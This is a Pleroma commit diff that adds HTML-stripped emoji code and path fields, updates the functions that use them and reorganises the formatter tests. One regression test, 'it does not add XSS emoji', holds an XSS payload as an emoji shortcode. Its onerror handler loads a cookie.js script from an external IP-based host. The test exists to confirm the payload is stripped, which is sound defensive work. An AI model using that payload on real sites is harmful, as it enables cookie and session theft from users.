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added code\path fields without html tags in ets

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This commit is contained in:
Maksim Pechnikov 2019-08-29 06:22:18 +03:00
parent cef2e980b1
commit d7808b5db4
7 changed files with 93 additions and 74 deletions
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12
lib/pleroma/emoji/loader.ex
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@ -78,7 +78,17 @@ defmodule Pleroma.Emoji.Loader do
load_from_globs(shortcode_globs, emoji_groups))
|> Enum.reject(fn value -> value == nil end)
emojis ++ emojis_txt
Enum.map(emojis ++ emojis_txt, &prepare_emoji/1)
end
defp prepare_emoji({code, file, tags} = _emoji) do
{
code,
file,
tags,
Pleroma.HTML.strip_tags(code),
Pleroma.HTML.strip_tags(file)
}
end
defp load_pack(pack_dir, emoji_groups) do

31
lib/pleroma/formatter.ex
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@ -107,19 +107,22 @@ defmodule Pleroma.Formatter do
def emojify(text, nil), do: text
def emojify(text, emoji, strip \\ false) do
Enum.reduce(emoji, text, fn emoji_data, text ->
emoji = HTML.strip_tags(elem(emoji_data, 0))
file = HTML.strip_tags(elem(emoji_data, 1))
Enum.reduce(emoji, text, fn
{_, _, _, emoji, file}, text ->
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
html =
if not strip do
"<img class='emoji' alt='#{emoji}' title='#{emoji}' src='#{MediaProxy.url(file)}' />"
else
""
end
String.replace(text, ":#{emoji}:", html) |> HTML.filter_tags()
emoji_data, text ->
emoji = HTML.strip_tags(elem(emoji_data, 0))
file = HTML.strip_tags(elem(emoji_data, 1))
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
end)
|> HTML.filter_tags()
end
defp prepare_emoji_html(_emoji, _file, true), do: ""
defp prepare_emoji_html(emoji, file, _strip) do
"<img class='emoji' alt='#{emoji}' title='#{emoji}' src='#{MediaProxy.url(file)}' />"
end
def demojify(text) do
@ -130,7 +133,9 @@ defmodule Pleroma.Formatter do
@doc "Outputs a list of the emoji-shortcodes in a text"
def get_emoji(text) when is_binary(text) do
Enum.filter(Emoji.get_all(), fn {emoji, _, _} -> String.contains?(text, ":#{emoji}:") end)
Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} ->
String.contains?(text, ":#{emoji}:")
end)
end
def get_emoji(_), do: []
@ -138,7 +143,7 @@ defmodule Pleroma.Formatter do
@doc "Outputs a list of the emoji-Maps in a text"
def get_emoji_map(text) when is_binary(text) do
get_emoji(text)
|> Enum.reduce(%{}, fn {name, file, _group}, acc ->
|> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc ->
Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
end)
end

2
lib/pleroma/web/common_api/utils.ex
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@ -435,7 +435,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
def emoji_from_profile(%{info: _info} = user) do
(Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name))
|> Enum.map(fn {shortcode, url, _} ->
|> Enum.map(fn {shortcode, url, _, _, _} ->
%{
"type" => "Emoji",
"icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"},

2
lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
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@ -331,7 +331,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
defp mastodonized_emoji do
Pleroma.Emoji.get_all()
|> Enum.map(fn {shortcode, relative_url, tags} ->
|> Enum.map(fn {shortcode, relative_url, tags, _, _} ->
url = to_string(URI.merge(Web.base_url(), relative_url))
%{

2
lib/pleroma/web/twitter_api/controllers/util_controller.ex
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@ -240,7 +240,7 @@ defmodule Pleroma.Web.TwitterAPI.UtilController do
def emoji(conn, _params) do
emoji =
Emoji.get_all()
|> Enum.map(fn {short_code, path, tags} ->
|> Enum.map(fn {short_code, path, tags, _, _} ->
{short_code, %{image_url: path, tags: tags}}
end)
|> Enum.into(%{})

8
test/emoji_test.exs
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@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do
test "first emoji", %{emoji_list: emoji_list} do
[emoji | _others] = emoji_list
{code, path, tags} = emoji
{code, path, tags, _, _} = emoji
assert tuple_size(emoji) == 3
assert tuple_size(emoji) == 5
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)
@ -24,9 +24,9 @@ defmodule Pleroma.EmojiTest do
test "random emoji", %{emoji_list: emoji_list} do
emoji = Enum.random(emoji_list)
{code, path, tags} = emoji
{code, path, tags, _, _} = emoji
assert tuple_size(emoji) == 3
assert tuple_size(emoji) == 5
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)

110
test/formatter_test.exs
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@ -217,6 +217,27 @@ defmodule Pleroma.FormatterTest do
assert expected_text =~ "how are you doing?"
end
test "it can parse mentions and return the relevant users" do
text =
"@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
o = insert(:user, %{nickname: "o"})
jimm = insert(:user, %{nickname: "jimm"})
gsimg = insert(:user, %{nickname: "gsimg"})
archaeme = insert(:user, %{nickname: "archaeme"})
archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
expected_mentions = [
{"@archaeme", archaeme},
{"@archaeme@archae.me", archaeme_remote},
{"@gsimg", gsimg},
{"@jimm", jimm},
{"@o", o}
]
assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
end
end
describe ".parse_tags" do
@ -234,67 +255,50 @@ defmodule Pleroma.FormatterTest do
end
end
test "it can parse mentions and return the relevant users" do
text =
"@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
describe "emojify" do
test "it adds cool emoji" do
text = "I love :firefox:"
o = insert(:user, %{nickname: "o"})
jimm = insert(:user, %{nickname: "jimm"})
gsimg = insert(:user, %{nickname: "gsimg"})
archaeme = insert(:user, %{nickname: "archaeme"})
archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
expected_result =
"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
expected_mentions = [
{"@archaeme", archaeme},
{"@archaeme@archae.me", archaeme_remote},
{"@gsimg", gsimg},
{"@jimm", jimm},
{"@o", o}
]
assert Formatter.emojify(text) == expected_result
end
assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
custom_emoji = %{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
"https://placehold.it/1x1"
}
expected_result =
"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
assert Formatter.emojify(text, custom_emoji) == expected_result
end
end
test "it adds cool emoji" do
text = "I love :firefox:"
describe "get_emoji" do
test "it returns the emoji used in the text" do
text = "I love :firefox:"
expected_result =
"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
assert Formatter.get_emoji(text) == [
{"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
]
end
assert Formatter.emojify(text) == expected_result
end
test "it returns a nice empty result when no emojis are present" do
text = "I love moominamma"
assert Formatter.get_emoji(text) == []
end
test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
custom_emoji = %{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
"https://placehold.it/1x1"
}
expected_result =
"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
assert Formatter.emojify(text, custom_emoji) == expected_result
end
test "it returns the emoji used in the text" do
text = "I love :firefox:"
assert Formatter.get_emoji(text) == [
{"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
]
end
test "it returns a nice empty result when no emojis are present" do
text = "I love moominamma"
assert Formatter.get_emoji(text) == []
end
test "it doesn't die when text is absent" do
text = nil
assert Formatter.get_emoji(text) == []
test "it doesn't die when text is absent" do
text = nil
assert Formatter.get_emoji(text) == []
end
end
test "it escapes HTML in plain text" do